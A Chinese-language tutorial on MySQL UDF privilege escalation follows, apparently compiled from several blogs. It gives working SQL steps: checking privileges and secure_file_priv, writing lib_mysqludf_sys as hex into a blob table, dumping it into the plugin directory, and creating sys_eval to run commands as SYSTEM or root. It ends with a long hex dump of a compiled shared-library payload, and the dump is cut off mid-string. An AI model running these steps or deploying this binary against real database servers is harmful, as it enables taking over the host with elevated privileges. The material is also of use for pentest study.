原理分析
什么是UDF
所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database(),但这一功能也导致了自定义函数中可能包含了恶意函数(系统命令),然后恶意的指令被以更高的权限执行后,实现提权的手段。
一般无论是库站分离的服务器,还是库站在一台服务器的情况,我们都是先拿下www的权限之后才有机会接触到数据库连接,毕竟没有多少人会真的打开3306端口把数据库对公,因此我们获得一个数据库的普通账号还是比较容易的,那么能否得到一个特权普通账号或是root账号,就成为了udf提权是否存在的真正核心问题。
利用条件
下面来分析在不同的系统中UDF提权利用条件的差异性
Wlndows
在Windows中Mysql一般以System权限执行。
故UDF提权漏洞出现原因,主要是因为root用户密码泄露,弱密码等,或者是普通用户有对plugin等文件夹有写权限。
LInux
在Linux中则不同,Linux环境下Mysql的主程序mysqld一般以独立账号mysql运行,而守护程序mysqld_safe才是以root权限。
所以说Linux下UDF提权出现的机会比较少,只有当mysqld进程是root执行的时候才会出现udf提权,一般会被归类到权限配置错误里。
因此漏洞出现原因有两个,权限配置错误和特权账号信息泄露
利用方法
放在最前面
最新版的sqlmap的udf文件换路径至/usr/share/sqlmap/data/udf此处不要找错了
使用/usr/share/sqlmap/extra/cloak/cloak.py进行异或解码后利用
python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
之后会在原位置生成一个解码后的so/dll文件
这个so/dll文件总共包含四个函数
sys_eval,执行任意命令,并将输出返回。 sys_exec,执行任意命令,并将退出码返回。 sys_get,获取一个环境变量。 sys_set,创建或修改一个环境变量。
Windows
由于我的sql版本太老,这里使用reuodut的步骤信息
0.版本问题
mysql不同版本在windows下dll文件的检索位置是不同的
mysql < 5.0 : 可以在任何位置
MySQL<5.1 : 需要导出至系统目录下 如C:/windows/system32/
MySQL >5.1 : 需要导出到sql安装目录的lib\plugin下(一般需要手动创建)
由于5.1以上理论上可以通过NTFS ADS流模式,来实现创建文件夹,但由于根本没看到有人试验成功过,所以5.1以上版本究竟是否能够提权,成谜。
1.查看版本确定文件导出位置
mysql> select version(); +-----------+ | version() | +-----------+ | 5.5.53 | +-----------+ 1 row in set (0.00 sec)
2.获取mysql安装目录
windows下我们一般可以进入到mysql文件夹下的,我们可以cd进去看一眼有么有lib\plugin文件夹,看到5.1以上版本,文件夹里还没有lib\plugin建议直接放弃,转点
mysql> select @@basedir; +--------------------------------+ | @@basedir | +--------------------------------+ | C:/phpStudy/PHPTutorial/MySQL/ | +--------------------------------+ 1 row in set (0.00 sec)
3.查看用户权限
这一步主要目的是查看用户有没有insert,upload,delete,file等权限,其实如果你是root权限是不用做权限检验的,这一步一般用来验证,当你只有一个普通用户的时候,你是否拥有特权。
mysql> select * from mysql.user where user='root' and host='127.0.0.1' \G; *************************** 1. row *************************** Host: 127.0.0.1 User: root Password: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B Select_priv: Y Insert_priv: Y Update_priv: Y Delete_priv: Y Create_priv: Y Drop_priv: Y Reload_priv: Y Shutdown_priv: Y Process_priv: Y File_priv: Y Grant_priv: Y References_priv: Y Index_priv: Y Alter_priv: Y Show_db_priv: Y Super_priv: Y Create_tmp_table_priv: Y Lock_tables_priv: Y Execute_priv: Y Repl_slave_priv: Y Repl_client_priv: Y Create_view_priv: Y Show_view_priv: Y Create_routine_priv: Y Alter_routine_priv: Y Create_user_priv: Y Event_priv: Y Trigger_priv: Y Create_tablespace_priv: Y ssl_type: ssl_cipher: x509_issuer: x509_subject: max_questions: 0 max_updates: 0 max_connections: 0 max_user_connections: 0 plugin: authentication_string: 1 row in set (0.01 sec)
4.查看可操作路径
mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | NULL | +------------------+-------+ 2 rows in set (0.00 sec)
secure_file_priv值为null,表示mysql不允许导入导出,此时我们只有通过别的方法将udf.dll写入安装路径。
5.上传DLL并利用
首先创建plugin文件夹,可以看到是报错了的,原博主为了可以进行下一步的演示,手工创建了plugin的文件夹。
mysql> select 'test' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; ERROR 1 (HY000): Can't create/write to file 'C:\phpStudy\PHPTutorial\MySQL\lib\plugin::$INDEX_ALLOCATION' (Errcode: 13)
思路一
由于禁止了导入,所以我们选择在本地导入成udf文件,然后在目标机上将比如本地导出的udf当作表内容添加进入
有了文件夹后开始将dll文件制作成udf文件
# 首先将本地保存dll文件的地址转化成16进制, 比如说C:\\Users\\user\\Desktop\\lib_mysqludf_sys.dll这个地址转换为16进制就是 433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c # 然后在本地导入dll文件,注意在上面的16进制地址需要在前面写上0x SELECT hex(load_file(0x433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile '/tmp/udf.txt'; # 至此udf.txt文件中的内容就是udf文件的十六进制格式 # 接下来在目标机上写入udf文件 1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。 2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容 3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改 # 对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\ # 到此如果没有报错,就是生成成功了,接下来要开始导入 DROP TABLE udftmp; # 删除udftmp表删掉 # 导入udf函数 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
然后查看一下函数库
select * from mysql.func;
如果能看到sys_eval就算是新建udf文件成功了,可以以system权限执行函数了
SELECT sys_eval('ipconfig'); 返回网卡信息
思路二
当不禁止文件的导入和导出的时候就可以直接上传dll文件到插件文件夹来进行文件的导入
这样会简单不少,也不会涉及十六进制的转来转去
如果不能上传可以选择
select unhex('十六进制dll文件') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf3.dll';
直接上传dll文件到C:\phpStudy\PHPTutorial\MySQL\lib\plugin文件夹下
create function sys_eval returns strings soname ‘lib_mysqludf_sys.dll’;
linux
由于mysql跨平台特征,在linux和windows上的操作是一样的,所以可以直接参考winodws的操作来进行操作。
除此之外只需要记得linux下udf文件的后缀是so就是了
参考文献
Sql注入-Windows下利用udf提权 - reuodut - 博客园 (cnblogs.com)
Mysql提权-基于Mysql的UDF提权(Linux系统) - 码小农的幸福生活 - 博客园 (cnblogs.com)
MySQL提权的三种方法 - FreeBuf网络安全行业门户
linux mysql udf 提权 - mrhonest - 博客园 (cnblogs.com)
其他
提供一个十六进制编译好的linux so文件来源于mrhonest
32位:
select unhex('7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F00000